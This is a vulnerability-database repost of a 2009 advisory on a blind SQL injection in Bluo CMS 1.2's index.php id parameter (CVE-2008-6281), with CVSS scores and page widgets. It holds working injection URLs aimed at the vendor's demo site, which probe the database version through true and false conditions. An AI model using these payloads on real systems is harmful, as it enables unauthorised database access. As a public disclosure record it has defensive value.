Bluo CMS 1.2 (index.php id) Blind SQL Injection Vulnerability

2009.02.28

Credit: The_5p3ctrum

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6281

CWE: CWE-89

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                                                     +
        Bluo cms 1.2  blind sql injection Vulnerability              +
                                                                     +
Discovered by : The_5p3ctrum                                         +
Contact AUTHOR: sp3[at]linuxmail.org & 5p[at]linuxmail.org           +                                                            +
                                                                     +
                      Mor0ccan Nightmares                            +
                                                                     +
                                                                     +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

#####################################################

APPLICATION    : bluocms
DOWNLOAD(299 $): http://www.bluocms.com/shop.php
VENDOR         : http://www.bluocms.com
DEMO           : http://www.bluocms.com/demo

#####################################################


[+] vuln    : blind sql injection
              

[+] Exploit : 
              true:
               
              http://www.bluocms.com/demo/index.php?id=511 and substring(@@version,1,1)=5
              http://www.bluocms.com/demo/index.php?id=511 and 1=1
              
              false:
              
              http://www.bluocms.com/demo/index.php?id=511 and substring(@@version,1,1)=4
              http://www.bluocms.com/demo/index.php?id=511 and 1=2

##########################################################################################################
                                                                                                         #
# Greetings: str0ke, BayHay, Cyber-Zone, Drackanz, The_leo, The_Casper, Fucker_Net, And All my friends   #
                                                                                                         #
##########################################################################################################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Bluo CMS 1.2 (index.php id) Blind SQL Injection Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.